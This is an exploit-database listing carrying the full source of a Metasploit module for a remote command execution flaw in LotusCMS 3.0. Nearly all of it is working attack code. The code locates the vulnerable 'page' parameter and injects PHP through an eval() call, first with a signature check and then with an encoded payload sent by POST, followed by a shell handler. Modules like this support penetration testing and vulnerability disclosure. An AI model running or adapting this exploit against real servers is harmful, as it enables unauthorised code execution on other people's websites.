LotusCMS 3.0 eval() Remote Command Execution

2012-03-07T00:00:00
ID 1337DAY-ID-17631
Type zdt
Reporter metasploit
Modified 2012-03-07T00:00:00

Description

Exploit for php platform in category remote exploits

                                        
                                            ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
    include Msf::Exploit::Remote::HttpClient
    include Msf::Auxiliary::WmapScanUniqueQuery
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'LotusCMS 3.0 eval() Remote Command Execution',
            'Description'    => %q{
                    This module exploits a vulnerability found in Lotus CMS 3.0's Router()
                function.  This is done by embedding PHP code in the 'page' parameter,
                which will be passed to a eval call, therefore allowing remote code execution.
                    The module can either automatically pick up a 'page' parameter from the
                default page, or manually specify one in the URI option.  To use the automatic
                method, please supply the URI with just a directory path, for example: "/lcms/".
                To manually configure one, you may do: "/lcms/somepath/index.php?page=index"
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Alligator Security Team',
                    'dflah_ <dflah_[at]alligatorteam.org>',
                    'sherl0ck_ <sherl0ck_[at]alligatorteam.org>',
                    'sinn3r'  #Metasploit-fu
                ],
            'References'     =>
                [
                    [ 'OSVDB', '75095' ],
                    [ 'URL', 'http://secunia.com/secunia_research/2011-21/' ]
                ],
            'Payload'        =>
                {
                    'Space'       => 4000, # only to prevent error HTTP 414 (Request-URI Too Long)
                    'DisableNops' => true,
                    'BadChars'    => "#",
                    'Keys'        => ['php']
                },
            'Platform'        => [ 'php' ],
            'Arch'            => ARCH_PHP,
            'Targets'         => [[ 'Automatic LotusCMS 3.0', { }]],
            'Privileged'      => false,
            'DisclosureDate'  => 'Mar 3 2011',
            'DefaultTarget'   => 0))
        register_options(
        [
            OptString.new('URI', [true, 'URI', '/lcms/']),
            Opt::RPORT(80),
        ], self.class)
    end
    def target_url
        uri = datastore['URI']
        # Make sure uri begins with '/'
        if uri[0] != '/'
            uri = '/' + uri
        end
        # Extract two things:
        # 1. The file path (/index.php), including the base
        # 2. GET parameters from the GET query
        uri   = uri.scan(/^(\/.+)\/(\w+\.php)*\?*(\w+=.+&*)*$/).flatten
        base  = (uri[0] || "") + '/'
        fname = uri[1] || ""
        query = uri[2] || ""
        params = queryparse(query) rescue ""
        # Use the user-supplied query if there's one, if not we'll auto-detect
        # by regexing a hyper-link
        if base.empty? or fname.empty? or params.empty?
            res = send_request_cgi({
                'method' => 'GET',
                'uri'    => datastore['URI']
            }, 20)
            if res and res.code == 200
                uri = res.body.scan(/<a.*href=['|"](\/*index\.php)\?.*(page=\w+)['|"].*>/).flatten
                @uri = base + uri[0]
                @arg = uri[1]
                print_status("Using found page param: #{@uri}?#{@arg}")
            else
                @uri = ""
                @arg = ""
            end
        else
            @uri = base + fname
            @arg = "page=#{params['page']}"
        end
    end
    def check
        target_url
        if @uri.empty? or @arg.empty?
            print_error("Unable to get the page parameter, please reconfigure URI")
            return
        end
        signature = rand_text_alpha(rand(10)+10)
        stub = "${print('#{signature}')};"
        sploit = "');#{stub}#"
        response = send_request_cgi(
        {
            'method'  => 'POST',
            'uri' =>  @uri,
            'data' => @arg + Rex::Text.uri_encode(sploit)
        }, 20)
        if response and response.body =~ /#{signature}/
            print_status("Signature: #{signature}")
            return Exploit::CheckCode::Vulnerable
        else
            print_error("Signature was not detected")
            return Exploit::CheckCode::Safe
        end
    end
    def exploit
        return if not check == Exploit::CheckCode::Vulnerable
        begin
            sploit = "');#{payload.encoded}#"
            print_status("Sending exploit ...")
            res = send_request_cgi(
            {
                'method'  => 'POST',
                'uri' =>  @uri,
                'data' => @arg + Rex::Text.uri_encode(sploit)
            }, 20)
            handler
        rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
        rescue ::Timeout::Error, ::Errno::EPIPE
        end
    end
end



#  0day.today [2018-02-17]  #